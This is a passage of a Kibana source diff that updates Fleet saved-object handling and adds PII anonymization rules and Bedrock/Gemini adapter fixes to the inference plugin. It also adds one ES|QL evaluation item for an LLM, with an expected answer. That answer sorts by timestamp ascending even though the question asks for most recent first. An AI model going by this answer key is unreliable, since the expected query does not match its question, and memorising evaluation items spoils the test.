b/x-pack/platform/plugins/shared/fleet/server/services/artifacts/artifacts.ts @@ -227,7 +227,7 @@ export const bulkDeleteArtifacts = async ( if (res.errors) { errors = res.items.reduce((acc, item) => { if (item.delete?.error) { - acc.push(new Error(item.delete.error.reason)); + acc.push(new Error(item.delete.error.reason ?? undefined)); // reason can be null and it's not a valid parameter for Error } return acc; }, []); diff --git a/x-pack/platform/plugins/shared/fleet/server/services/backfill_agentless.test.ts b/x-pack/platform/plugins/shared/fleet/server/services/backfill_agentless.test.ts index b0fd41fe83295..caf2711010e1c 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/backfill_agentless.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/backfill_agentless.test.ts @@ -29,6 +29,10 @@ jest.mock('.', () => ({ inputs: [], policy_ids: ['agent_policy_1'], supports_agentless: false, + package: { + name: 'cloud_asset_inventory', + version: '0.19.0', + }, }, }, ], @@ -39,6 +43,49 @@ jest.mock('.', () => ({ }, })); +jest.mock('./settings', () => ({ + getSettingsOrUndefined: () => ({ + use_space_awareness_migration_status: 'success', + }), +})); + +jest.mock('./app_context', () => { + return { + appContextService: { + getExperimentalFeatures: () => ({ + useSpaceAwareness: true, + }), + getLogger: () => ({ + debug: jest.fn(), + }), + getInternalUserSOClient: jest.fn(), + getInternalUserSOClientForSpaceId: jest.fn(), + getInternalUserSOClientWithoutSpaceExtension: () => ({ + find: jest.fn().mockImplementation((options) => { + if (options.type === 'ingest-agent-policies') { + return { + saved_objects: [{ id: 'agent_policy_1' }, { id: 'agent_policy_2' }], + }; + } else { + return { + saved_objects: [ + { + id: 'package_policy_1', + attributes: { + inputs: [], + policy_ids: ['agent_policy_1'], + supports_agentless: false, + }, + }, + ], + }; + } + }), + }), + }, + }; +}); + jest.mock('./package_policy', () => ({ packagePolicyService: { update: jest.fn(), diff --git a/x-pack/platform/plugins/shared/fleet/server/services/backfill_agentless.ts b/x-pack/platform/plugins/shared/fleet/server/services/backfill_agentless.ts index 0cba99fb6e88e..accbda43f6b9f 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/backfill_agentless.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/backfill_agentless.ts @@ -53,7 +53,7 @@ export async function backfillPackagePolicySupportsAgentless(esClient: Elasticse 'inputs', 'package', ], - filter: `${savedObjectType}.attributes.package.name:cloud_security_posture AND (NOT ${savedObjectType}.attributes.supports_agentless:true) AND ${savedObjectType}.attributes.policy_ids:(${agentPolicyIds.join( + filter: `(NOT ${savedObjectType}.attributes.supports_agentless:true) AND ${savedObjectType}.attributes.policy_ids:(${agentPolicyIds.join( ' OR ' )})`, perPage: SO_SEARCH_LIMIT, @@ -65,7 +65,7 @@ export async function backfillPackagePolicySupportsAgentless(esClient: Elasticse .getLogger() .debug( `Backfilling supports_agentless on package policies: ${packagePoliciesToUpdate.map( - (policy) => policy.id + (policy: PackagePolicy) => policy.id )}` ); @@ -80,7 +80,7 @@ export async function backfillPackagePolicySupportsAgentless(esClient: Elasticse await pMap( packagePoliciesToUpdate, - (packagePolicy) => { + (packagePolicy: PackagePolicy) => { const soClient = appContextService.getInternalUserSOClientForSpaceId( packagePolicy.spaceIds?.[0] ); diff --git a/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/get.test.ts b/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/get.test.ts index 0a24736f84166..9a75614da595b 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/get.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/get.test.ts @@ -40,6 +40,8 @@ import { getPackageUsageStats, } from './get'; +const mockPackagePolicySavedObjectType = PACKAGE_POLICY_SAVED_OBJECT_TYPE; + jest.mock('../registry'); jest.mock('../../settings'); jest.mock('../../audit_logging'); @@ -54,6 +56,11 @@ jest.mock('../archive/storage', () => { ), }; }); +jest.mock('../../package_policy', () => { + return { + getPackagePolicySavedObjectType: () => mockPackagePolicySavedObjectType, + }; +}); const MockRegistry = jest.mocked(Registry); diff --git a/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/get.ts b/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/get.ts index f7cbc87b8ca2c..ebc1c201f2f6a 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/get.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/get.ts @@ -16,7 +16,7 @@ import type { import semverGte from 'semver/functions/gte'; import type { Logger } from '@kbn/core/server'; import { withSpan } from '@kbn/apm-utils'; - +import { errors } from '@elastic/elasticsearch'; import type { IndicesDataStream, SortResults } from '@elastic/elasticsearch/lib/api/types'; import { nodeBuilder } from '@kbn/es-query'; @@ -57,6 +57,7 @@ import { PackageNotFoundError, RegistryResponseError, PackageInvalidArchiveError, + FleetUnauthorizedError, } from '../../../errors'; import { appContextService } from '../..'; import { dataStreamService } from '../../data_streams'; @@ -212,10 +213,22 @@ export async function getInstalledPackages(options: GetInstalledPackagesOptions) const { savedObjectsClient, esClient, showOnlyActiveDataStreams, ...otherOptions } = options; const { dataStreamType } = otherOptions; - const [packageSavedObjects, allFleetDataStreams] = await Promise.all([ - getInstalledPackageSavedObjects(savedObjectsClient, otherOptions), - showOnlyActiveDataStreams ? dataStreamService.getAllFleetDataStreams(esClient) : undefined, - ]); + const packageSavedObjects = await getInstalledPackageSavedObjects( + savedObjectsClient, + otherOptions + ); + + let allFleetDataStreams: IndicesDataStream[] | undefined; + + if (showOnlyActiveDataStreams) { + allFleetDataStreams = await dataStreamService.getAllFleetDataStreams(esClient).catch((err) => { + const isResponseError = err instanceof errors.ResponseError; + if (isResponseError && err?.body?.error?.type === 'security_exception') { + throw new FleetUnauthorizedError(`Unauthorized to query fleet datastreams: ${err.message}`); + } + throw err; + }); + } const integrations = packageSavedObjects.saved_objects.map((integrationSavedObject) => { const { diff --git a/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/install_state_machine/steps/step_save_system_object.ts b/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/install_state_machine/steps/step_save_system_object.ts index 188e9dc4efb2e..77f03f4827c46 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/install_state_machine/steps/step_save_system_object.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/epm/packages/install_state_machine/steps/step_save_system_object.ts @@ -13,7 +13,7 @@ import { } from '../../../../../constants'; import type { Installation } from '../../../../../types'; -import { packagePolicyService } from '../../../..'; +import { packagePolicyService } from '../../../../package_policy'; import { auditLoggingService } from '../../../../audit_logging'; diff --git a/x-pack/platform/plugins/shared/fleet/server/services/fleet_server_host.test.ts b/x-pack/platform/plugins/shared/fleet/server/services/fleet_server_host.test.ts index e3e5ab77bbe37..375b7eb259699 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/fleet_server_host.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/fleet_server_host.test.ts @@ -17,6 +17,7 @@ import { GLOBAL_SETTINGS_SAVED_OBJECT_TYPE, FLEET_SERVER_HOST_SAVED_OBJECT_TYPE, DEFAULT_FLEET_SERVER_HOST_ID, + LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE, } from '../constants'; @@ -92,7 +93,10 @@ function getMockedSoClient(options?: { id?: string; findHosts?: boolean; findSet } as any; } - if (type === PACKAGE_POLICY_SAVED_OBJECT_TYPE) { + if ( + type === LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE || + type === PACKAGE_POLICY_SAVED_OBJECT_TYPE + ) { return { saved_objects: [ { diff --git a/x-pack/platform/plugins/shared/fleet/server/services/output.ts b/x-pack/platform/plugins/shared/fleet/server/services/output.ts index 9156741adf4cd..cb96d563544d9 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/output.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/output.ts @@ -38,7 +38,7 @@ import type { PolicySecretReference, } from '../types'; import { - LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, + AGENT_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE, DEFAULT_OUTPUT, DEFAULT_OUTPUT_ID, @@ -152,13 +152,13 @@ async function getAgentPoliciesPerOutput(outputId?: string, isDefault?: boolean) const packagePoliciesKuery: string = `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.output_id:"${outputId}"`; if (outputId) { if (isDefault) { - agentPoliciesKuery = `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:"${outputId}" or not ${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:*`; + agentPoliciesKuery = `${AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:"${outputId}" or not ${AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:*`; } else { - agentPoliciesKuery = `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:"${outputId}"`; + agentPoliciesKuery = `${AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:"${outputId}"`; } } else { if (isDefault) { - agentPoliciesKuery = `not ${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:*`; + agentPoliciesKuery = `not ${AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:*`; } else { return; } diff --git a/x-pack/platform/plugins/shared/fleet/server/services/preconfiguration/reset_agent_policies.ts b/x-pack/platform/plugins/shared/fleet/server/services/preconfiguration/reset_agent_policies.ts index 47939b4ed0c9c..f7837d2adb095 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/preconfiguration/reset_agent_policies.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/preconfiguration/reset_agent_policies.ts @@ -12,12 +12,12 @@ import { SavedObjectsErrorHelpers } from '@kbn/core/server'; import { appContextService } from '../app_context'; import { setupFleet } from '../setup'; import { - LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, + AGENT_POLICY_SAVED_OBJECT_TYPE, SO_SEARCH_LIMIT, PACKAGE_POLICY_SAVED_OBJECT_TYPE, PRECONFIGURATION_DELETION_RECORD_SAVED_OBJECT_TYPE, } from '../../constants'; -import { agentPolicyService, getAgentPolicySavedObjectType } from '../agent_policy'; +import { agentPolicyService } from '../agent_policy'; import { packagePolicyService } from '../package_policy'; import { getAgentsByKuery, forceUnenrollAgent } from '../agents'; import { listEnrollmentApiKeys, deleteEnrollmentApiKey } from '../api_keys'; @@ -63,8 +63,7 @@ async function _deleteGhostPackagePolicies( return; } - const savedObjectType = await getAgentPolicySavedObjectType(); - const objects = policyIds.map((id) => ({ id, type: savedObjectType })); + const objects = policyIds.map((id) => ({ id, type: AGENT_POLICY_SAVED_OBJECT_TYPE })); const agentPolicyExistsMap = (await soClient.bulkGet(objects)).saved_objects.reduce((acc, so) => { if (so.error && so.error.statusCode === 404) { acc.set(so.id, false); @@ -149,7 +148,7 @@ async function _deleteExistingData( existingPolicies = ( await agentPolicyService.list(soClient, { perPage: SO_SEARCH_LIMIT, - kuery: `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.is_preconfigured:true`, + kuery: `${AGENT_POLICY_SAVED_OBJECT_TYPE}.is_preconfigured:true`, }) ).items; } diff --git a/x-pack/platform/plugins/shared/fleet/server/services/security/uninstall_token_service/index.ts b/x-pack/platform/plugins/shared/fleet/server/services/security/uninstall_token_service/index.ts index 8d0285e92b2bd..075ff5d3dd532 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/security/uninstall_token_service/index.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/security/uninstall_token_service/index.ts @@ -242,7 +242,7 @@ export class UninstallTokenService implements UninstallTokenServiceInterface { private prepareExactPolicyIdQuery(policyId: string | undefined): string | undefined { if (!policyId) return undefined; // Escape special characters but don't add wildcards for exact matching - return policyId.replace(new RegExp(/[@#&*+()\[\]{}|.?~"<]/, 'g'), '\\$&'); + return this.prepareSearchString(policyId, /[@#&*+()\[\]{}|.?~"<]/, ''); } private prepareRegexpQuery(str: string | undefined): string | undefined { return this.prepareSearchString(str, /[@#&*+()[\]{}|.?~"<]/, '.*'); diff --git a/x-pack/platform/plugins/shared/fleet/server/services/setup.ts b/x-pack/platform/plugins/shared/fleet/server/services/setup.ts index ed4486021d989..929abc9aa2df4 100644 --- a/x-pack/platform/plugins/shared/fleet/server/services/setup.ts +++ b/x-pack/platform/plugins/shared/fleet/server/services/setup.ts @@ -165,14 +165,12 @@ async function createSetupSideEffects( ); logger.debug('Setting up Fleet outputs'); - await Promise.all([ - ensurePreconfiguredOutputs( - soClient, - esClient, - getPreconfiguredOutputFromConfig(appContextService.getConfig()) - ), - settingsService.settingsSetup(soClient), - ]); + await settingsService.settingsSetup(soClient); + await ensurePreconfiguredOutputs( + soClient, + esClient, + getPreconfiguredOutputFromConfig(appContextService.getConfig()) + ); const defaultOutput = await outputService.ensureDefaultOutput(soClient, esClient); diff --git a/x-pack/platform/plugins/shared/fleet/server/tasks/packages_bulk_operations/run_bulk_upgrade.ts b/x-pack/platform/plugins/shared/fleet/server/tasks/packages_bulk_operations/run_bulk_upgrade.ts index e6036d401623f..d19f74f20aafa 100644 --- a/x-pack/platform/plugins/shared/fleet/server/tasks/packages_bulk_operations/run_bulk_upgrade.ts +++ b/x-pack/platform/plugins/shared/fleet/server/tasks/packages_bulk_operations/run_bulk_upgrade.ts @@ -13,6 +13,7 @@ import { HTTPAuthorizationHeader } from '../../../common/http_authorization_head import { installPackage } from '../../services/epm/packages'; import { appContextService, packagePolicyService } from '../../services'; import { PACKAGE_POLICY_SAVED_OBJECT_TYPE, SO_SEARCH_LIMIT } from '../../constants'; + import { scheduleBulkOperationTask, formatError } from './utils'; export interface BulkUpgradeTaskParams { diff --git a/x-pack/platform/plugins/shared/fleet/server/types/rest_spec/package_policy.ts b/x-pack/platform/plugins/shared/fleet/server/types/rest_spec/package_policy.ts index 03d421eaa14fa..dd2e9c30c37d6 100644 --- a/x-pack/platform/plugins/shared/fleet/server/types/rest_spec/package_policy.ts +++ b/x-pack/platform/plugins/shared/fleet/server/types/rest_spec/package_policy.ts @@ -19,7 +19,11 @@ import { import { inputsFormat } from '../../../common/constants'; -import { PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICIES_MAPPINGS } from '../../constants'; +import { + LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, + PACKAGE_POLICY_SAVED_OBJECT_TYPE, + PACKAGE_POLICIES_MAPPINGS, +} from '../../constants'; import { validateKuery } from '../../routes/utils/filter_utils'; @@ -37,7 +41,7 @@ export const GetPackagePoliciesRequestSchema = { validate: (value: string) => { const validationObj = validateKuery( value, - [PACKAGE_POLICY_SAVED_OBJECT_TYPE], + [LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE], PACKAGE_POLICIES_MAPPINGS, true ); diff --git a/x-pack/platform/plugins/shared/inference/common/ui_settings.ts b/x-pack/platform/plugins/shared/inference/common/ui_settings.ts new file mode 100644 index 0000000000000..904fc70e51dee --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/common/ui_settings.ts @@ -0,0 +1,91 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { schema } from '@kbn/config-schema'; +import { UiSettingsParams } from '@kbn/core-ui-settings-common'; +import { i18n } from '@kbn/i18n'; +import { aiAssistantAnonymizationSettings } from '@kbn/inference-common'; + +const baseRuleSchema = schema.object({ + enabled: schema.boolean(), +}); + +const regexRuleSchema = schema.allOf([ + baseRuleSchema, + schema.object({ + type: schema.literal('RegExp'), + pattern: schema.string(), + entityClass: schema.string(), + }), +]); + +const nerRuleSchema = schema.allOf([ + baseRuleSchema, + schema.object({ + type: schema.literal('NER'), + modelId: schema.string(), + allowedEntityClasses: schema.maybe( + schema.arrayOf( + schema.oneOf([ + schema.literal('PER'), + schema.literal('ORG'), + schema.literal('LOC'), + schema.literal('MISC'), + ]) + ) + ), + }), +]); + +export const uiSettings: Record = { + [aiAssistantAnonymizationSettings]: { + category: ['observability'], + name: i18n.translate('xpack.inference.anonymizationSettingsLabel', { + defaultMessage: 'Anonymization Settings', + }), + value: JSON.stringify( + { + rules: [ + { + entityClass: 'EMAIL', + type: 'RegExp', + pattern: '([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})', + enabled: false, + }, + { + type: 'NER', + modelId: 'elastic__distilbert-base-uncased-finetuned-conll03-english', + enabled: false, + allowedEntityClasses: ['PER', 'ORG', 'LOC'], + }, + ], + }, + null, + 2 + ), + description: i18n.translate('xpack.inference.anonymizationSettingsDescription', { + defaultMessage: `List of anonymization rules +
      +
    • type: "ner" or "regex"
    • +
    • entityClass: (regex type only) eg: EMAIL, URL, IP
    • +
    • pattern: (regex type only) the regular-expression string to match
    • +
    • modelId: (ner type only) ID of the NER (Named Entity Recognition) model to use
    • +
    • enabled: boolean flag to turn the rule on or off
    • +
    `, + values: { + ul: (chunks) => `
      ${chunks}
    `, + li: (chunks) => `
  • ${chunks}
  • `, + strong: (chunks) => `${chunks}`, + }, + }), + schema: schema.object({ + rules: schema.arrayOf(schema.oneOf([regexRuleSchema, nerRuleSchema])), + }), + type: 'json', + requiresPageReload: true, + }, +}; diff --git a/x-pack/platform/plugins/shared/inference/scripts/evaluation/scenarios/esql/index.spec.ts b/x-pack/platform/plugins/shared/inference/scripts/evaluation/scenarios/esql/index.spec.ts index f20fe4d6aa89d..cd116d62150b2 100644 --- a/x-pack/platform/plugins/shared/inference/scripts/evaluation/scenarios/esql/index.spec.ts +++ b/x-pack/platform/plugins/shared/inference/scripts/evaluation/scenarios/esql/index.spec.ts @@ -175,6 +175,30 @@ const buildTestDefinitions = (): Section[] => { { title: 'ES|QL commands and functions usage', tests: [ + { + title: 'using LOOKUP JOIN', + question: ` + The user is working with both the "records" and "threats" indices. "threats" has the field "source.ip", "threat_level", "threat_type". "records" has the field "source.ip", "action", "timestamp". + + Generate a query returning the 10 logs where threat_level is "high" or "medium", ordered by timestamp from most recent to oldest, + show only the source.ip, action, threat_level, and threat_type fields. + + You should use the LOOKUP JOIN function to answer this question. + + The relevant fields are: + - source.ip: keyword + - action: keyword + - threat_level: keyword + - threat_type: keyword + - timestamp: datetime + `, + expected: `FROM records + | LOOKUP JOIN threats ON source.ip + | WHERE threat_level IN ("high", "medium") + | SORT timestamp + | KEEP source.ip, action, threat_level, threat_type + | LIMIT 10`, + }, { title: 'using FLOOR and CEIL', question: ` diff --git a/x-pack/platform/plugins/shared/inference/scripts/load_esql_docs/extract_doc_entries.ts b/x-pack/platform/plugins/shared/inference/scripts/load_esql_docs/extract_doc_entries.ts index c188c44f72e5f..4ec3e53a46b7a 100644 --- a/x-pack/platform/plugins/shared/inference/scripts/load_esql_docs/extract_doc_entries.ts +++ b/x-pack/platform/plugins/shared/inference/scripts/load_esql_docs/extract_doc_entries.ts @@ -60,10 +60,12 @@ export async function extractDocEntries({ log: ToolingLog; inferenceClient: ScriptInferenceClient; }): Promise { - const path = `${builtDocsDir}/html/en/elasticsearch/reference/current/esql*.html`; - const files = await fastGlob(path); + const paths = ['esql*.html', '_lookup_join.html'].map( + (path) => `${builtDocsDir}/html/en/elasticsearch/reference/current/${path}` + ); + const files = await fastGlob(paths); if (!files.length) { - throw new Error(`No files found at path: ${path}`); + throw new Error(`No files found at paths: ${paths}`); } const output: ExtractionOutput = { @@ -129,11 +131,24 @@ async function processFile({ limiter, executePrompt, }); + } else if (basename === '_lookup_join.html') { + const $element = load(fileContent)('*'); + const command: ExtractedCommandOrFunc = { + name: 'lookup-join', + markdownContent: await executePrompt( + convertToMarkdownPrompt({ htmlContent: getSimpleText($element) }) + ), + command: true, + }; + output.commands.push(command); } else if (contextArticles.includes(basename)) { const $element = load(fileContent)('*'); output.pages.push({ sourceFile: basename, - name: basename === 'esql.html' ? 'overview' : basename.substring(5, basename.length - 5), + name: + basename === 'esql.html' + ? 'overview' + : basename.replace(/^esql-/, '').replace(/\.html$/, ''), content: getSimpleText($element), }); } else { diff --git a/x-pack/platform/plugins/shared/inference/scripts/load_esql_docs/generate_doc.ts b/x-pack/platform/plugins/shared/inference/scripts/load_esql_docs/generate_doc.ts index 2fe10d7ac4a83..99160dae3c62f 100644 --- a/x-pack/platform/plugins/shared/inference/scripts/load_esql_docs/generate_doc.ts +++ b/x-pack/platform/plugins/shared/inference/scripts/load_esql_docs/generate_doc.ts @@ -60,8 +60,9 @@ export const generateDoc = async ({ }) ); - const pageContentByName = (pageName: string) => - extraction.pages.find((page) => page.name === pageName)!.content; + const pageContentByName = (pageName: string) => { + return extraction.pages.find((page) => page.name === pageName)?.content; + }; const pages: PageGeneration[] = [ { @@ -100,10 +101,12 @@ export const generateDoc = async ({ await Promise.all( pages.map(async (page) => { return limiter(async () => { + const content = pageContentByName(page.sourceFile); + if (!content) return; const pageContent = await callOutput( createDocumentationPagePrompt({ documentation, - content: pageContentByName(page.sourceFile), + content, specificInstructions: page.instructions, }) ); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/bedrock/bedrock_claude_adapter.test.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/bedrock/bedrock_claude_adapter.test.ts index 99251e6e53d8d..e0f526305a418 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/bedrock/bedrock_claude_adapter.test.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/bedrock/bedrock_claude_adapter.test.ts @@ -25,7 +25,10 @@ describe('bedrockClaudeAdapter', () => { return { actionId: '', status: 'ok', - data: new PassThrough(), + data: { + stream: new PassThrough(), + tokenStream: new PassThrough(), + }, }; }); }); @@ -390,7 +393,7 @@ Human:`, const { toolChoice, tools, system } = getCallParams(); expect(toolChoice).toBeUndefined(); - expect(tools).toEqual([]); + expect(tools).toEqual(undefined); // Claude requires tools to be undefined when no tools are available expect(system).toEqual([{ text: addNoToolUsageDirective('some system instruction') }]); }); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/bedrock/bedrock_claude_adapter.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/bedrock/bedrock_claude_adapter.ts index 8ad322c6351bb..f63c2dbcb3e76 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/bedrock/bedrock_claude_adapter.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/bedrock/bedrock_claude_adapter.ts @@ -21,6 +21,7 @@ import { isPopulatedObject } from '@kbn/ml-is-populated-object'; import type { ImageBlock } from '@aws-sdk/client-bedrock-runtime'; import { isDefined } from '@kbn/ml-is-defined'; import type { DocumentType as JsonMember } from '@smithy/types'; +import type { Readable } from 'stream'; import { InferenceConnectorAdapter } from '../../types'; import { handleConnectorResponse } from '../../utils'; import type { BedRockImagePart, BedRockMessage, BedRockTextPart } from './types'; @@ -61,7 +62,7 @@ export const bedrockClaudeAdapter: InferenceConnectorAdapter = { const subActionParams = { system: systemMessage, messages: converseMessages, - tools: bedRockTools, + tools: bedRockTools?.length ? bedRockTools : undefined, toolChoice: toolChoiceToConverse(toolChoice), temperature, model: modelName, @@ -69,11 +70,13 @@ export const bedrockClaudeAdapter: InferenceConnectorAdapter = { signal: abortSignal, }; - return defer(() => { - return executor.invoke({ + return defer(async () => { + const res = await executor.invoke({ subAction: 'converseStream', subActionParams, }); + const result = res.data as { stream: Readable }; + return { ...res, data: result?.stream }; }).pipe( handleConnectorResponse({ processStream: serdeEventstreamIntoObservable }), tap((eventData) => { diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/gemini/process_vertex_stream.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/gemini/process_vertex_stream.ts index f96d1a6f7555a..467514d09de0e 100644 --- a/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/gemini/process_vertex_stream.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/adapters/gemini/process_vertex_stream.ts @@ -37,11 +37,15 @@ export function processVertexStream() { } } - if (finishReason === 'UNEXPECTED_TOOL_CALL' || finishReason === 'MALFORMED_TOOL_CALL') { + if (finishReason === 'UNEXPECTED_TOOL_CALL' || finishReason === 'MALFORMED_FUNCTION_CALL') { + const finishMessage = value.candidates?.[0].finishMessage; + const validationErrorMessage = finishMessage + ? `${finishReason} - ${finishMessage}` + : finishReason; emitTokenCountIfApplicable(); subscriber.error( - createToolValidationError(finishReason, { - errorsText: value.candidates?.[0].finishMessage, + createToolValidationError(validationErrorMessage, { + errorsText: finishMessage, toolCalls: [], }) ); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/add_anonymization_instruction.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/add_anonymization_instruction.ts new file mode 100644 index 0000000000000..d3457b97f5073 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/add_anonymization_instruction.ts @@ -0,0 +1,42 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { AnonymizationRule, RegexAnonymizationRule } from '@kbn/inference-common'; +import dedent from 'dedent'; + +/** + * Builds a human‑readable instruction that tells the LLM why hash‑like + * placeholders (e.g. `PER_a1b2c3`) appear in the conversation and what + * they mean. + * + * If no anonymization rules are enabled this returns an empty string. + */ +export function addAnonymizationInstruction(system: string, rules: AnonymizationRule[]): string { + if (!rules.some((r) => r.enabled)) { + return system; + } + + const nerClasses = ['PER', 'LOC', 'ORG', 'MISC']; + + const regexClasses = rules + .filter((r): r is RegexAnonymizationRule => r.type === 'RegExp' && r.enabled) + .map((r) => r.entityClass); + + const exampleTokens = [...nerClasses, ...regexClasses].map((c) => `\`${c}_abc123\``).join(', '); + + return dedent( + `${system} + + ### Anonymization + + Some entities in this conversation have been anonymized using placeholder tokens (e.g., ${exampleTokens}). + These represent named entities such as people (PER), locations (LOC), organizations (ORG), and miscellaneous types (MISC)${ + regexClasses.length ? `, as well as custom types like ${regexClasses.join(', ')}.` : '.' + } + Do not attempt to infer their meaning, type, or real‑world identity. Refer to them exactly as they appear unless explicitly resolved or described.` + ); +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_messages.test.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_messages.test.ts new file mode 100644 index 0000000000000..ccba05adaab91 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_messages.test.ts @@ -0,0 +1,377 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { MlInferenceResponseResult } from '@elastic/elasticsearch/lib/api/types'; +import { loggerMock, type MockedLogger } from '@kbn/logging-mocks'; +import { anonymizeMessages } from './anonymize_messages'; +import { + AnonymizationRule, + AssistantMessage, + Message, + MessageRole, + UserMessage, +} from '@kbn/inference-common'; +import { messageToAnonymizationRecords } from './message_to_anonymization_records'; +import { getEntityMask } from './get_entity_mask'; +import { RegexWorkerService } from './regex_worker_service'; +import { AnonymizationWorkerConfig } from '../../config'; +const mockEsClient = { + ml: { + inferTrainedModel: jest.fn(), + }, +} as any; +const testConfig = { + enabled: false, +} as AnonymizationWorkerConfig; +describe('anonymizeMessages', () => { + let logger: MockedLogger; + let regexWorker: RegexWorkerService; + beforeEach(() => { + jest.resetAllMocks(); + logger = loggerMock.create(); + regexWorker = new RegexWorkerService(testConfig, logger); + }); + + const setupMockResponse = (entities: MlInferenceResponseResult[]) => { + mockEsClient.ml.inferTrainedModel.mockResolvedValue({ + inference_results: entities, + }); + }; + + const nerRule: AnonymizationRule = { + type: 'NER', + enabled: true, + modelId: 'model-1', + allowedEntityClasses: ['PER'], + }; + + const disabledRule: AnonymizationRule = { ...nerRule, enabled: false }; + + const regexRule: AnonymizationRule = { + type: 'RegExp', + enabled: true, + entityClass: 'EMAIL', + pattern: '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}', + }; + + it('should preserve JSON structure when anonymizing', async () => { + const messages: Message[] = [ + { + role: MessageRole.Assistant, + content: '', + toolCalls: [ + { + function: { + name: 'search', + arguments: { query: 'Search for Bob in database' }, + }, + toolCallId: '123', + }, + ], + }, + ]; + + const serialized = messageToAnonymizationRecords(messages[0]); + + setupMockResponse([ + { + predicted_value: '', + entities: [ + { + entity: 'Bob', + class_name: 'PER', + class_probability: 0.9828533515650252, + start_pos: serialized.data!.indexOf('Bob'), + end_pos: serialized.data!.indexOf('Bob') + 3, + }, + ], + }, + ]); + + // Execute + const result = await anonymizeMessages({ + messages, + anonymizationRules: [nerRule], + regexWorker, + esClient: mockEsClient, + }); + + const assistantMsgResult = result.messages[0] as AssistantMessage & { + toolCalls: Array<{ function: { arguments: Record } }>; + }; + const args = assistantMsgResult.toolCalls![0].function.arguments; + expect(args).toHaveProperty('query'); + expect(args.query).not.toContain('Bob'); + }); + + it('should handle empty string content', async () => { + const messages: Message[] = [ + { + role: MessageRole.Assistant, + content: '', + toolCalls: [ + { + function: { + name: 'test', + arguments: {}, + }, + toolCallId: '123', + }, + ], + }, + ]; + + setupMockResponse([ + { + entities: [], + }, + ]); + + await expect( + anonymizeMessages({ + messages, + anonymizationRules: [nerRule], + regexWorker, + esClient: mockEsClient, 